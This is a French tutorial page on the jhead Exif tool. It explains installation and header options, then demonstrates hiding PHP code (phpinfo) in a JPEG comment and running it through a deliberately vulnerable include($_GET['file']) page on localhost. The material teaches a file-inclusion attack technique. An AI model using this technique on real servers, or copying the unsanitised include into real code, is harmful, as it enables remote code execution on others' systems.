JHead
Description
Jhead est un programme de manipulation des en-têtes Exif des images au format jpeg. Cet outil permet entre autre de placer du code PHP dans l'en-tête d'un image. Cette dernière pourra être par la suite envoyée sur un serveur distant, et le code qu'elle contient, exploité.
Une image au format jpeg contient un en-tête et les données propres à l'image. L'en-tête est lui-même composé de plusieurs sections, permettant l'identification de l'image, comme le montre la figure suivante :
Image jpeg +---------+---------+---------+---------+--------------------------------+ | Champ | Section | Section | Section | Données | | Commen | Exif | IPTC | XMP | JPEG | | -taires | | | | | +---------+---------+---------+---------+--------------------------------+
Installation
Installation de JHead
$ cd /usr/local/src/ $ wget http://www.sentex.net/~mwandel/jhead/jhead-latest.tar.gz $ tar xzvf jhead-latest.tar.gz $ cd jhead-2.855/ $ make
Autres outils
- Exiftools: sudo apt-get install libimage-exiftool-perl
- Online Exif analyzer: http://regex.info/exif.cgi
- Exif plugin for Google Chrome: https://chrome.google.com/extensions/detail/degoicjbkidnmcfidnohffepopnhhpkk?hl=en
Utilisation
La syntaxe de base est la suivante :
./jhead [options] files
Aucune option Lecture de l'en-tête de l'image (Appel de jhead sans option) : # ./jhead test.jpg File name : test.jpg File size : 57624 bytes File date : 2008:12:09 19:08:41 Resolution : 300 x 432 Color/bw : Black and white Comment : File written by Adobe Photoshop 5.0 ======= IPTC data: ======= Record vers. : 2 Caption : 4.1.1 -dc Cette option permet de supprimer le contenu du champ de commentaires # ./jhead -dc test.jpg Modified: test.jpg # ./jhead test.jpg File name : test.jpg File size : 57584 bytes File date : 2008:12:09 19:08:41 Resolution : 300 x 432 Color/bw : Black and white ======= IPTC data: ======= Record vers. : 2 Caption : 4.1.1 -de Supprime le contenu de la section Exif -di Supprime le contenu de la section IPTC -dx Supprime le contenu de la section XMP -du Supprimer le contenu des sections IPTC et XMP -purejpg Raccourci de la combinaison des commandes -dc -de -du -ce Edite le contenu de l'en-tête de l'image -cl Edition littérale du champ de commentaires (permet l'injection de code) Exemple : # ./jhead -cl '<?php ob_clean();phpinfo();die();?>' test.jpg Modified: test.jpg # ./jhead test.jpg File name : test.jpg File size : 57307 bytes File date : 2008:12:09 19:08:41 Date/Time : 2008:12:09 19:08:41 Resolution : 300 x 432 Color/bw : Black and white Comment : <?php ob_clean();phpinfo();die();?> ======= IPTC data: ======= Record vers. : 2 Caption : 4.1.1
Exemple d'attaque
Dans l'exemple qui suit, l'en-tête de l'image a été modifié avec jhead pour y inclure le code suivant :
<?php ob_clean();phpinfo();die(); ?>
L'image est appelée via le code suivant : <html> <body> <img src="test.jpg" /> </body> </html> |
|
La même image est incluse dans le code PHP : <?php include($_GET["file"]); ?> L'image est appelée dans l'URL directement par l'URL suivante : http://localhost/jhead.php?file=test.jpg Le code PHP que contient son en-tête est alors interprété |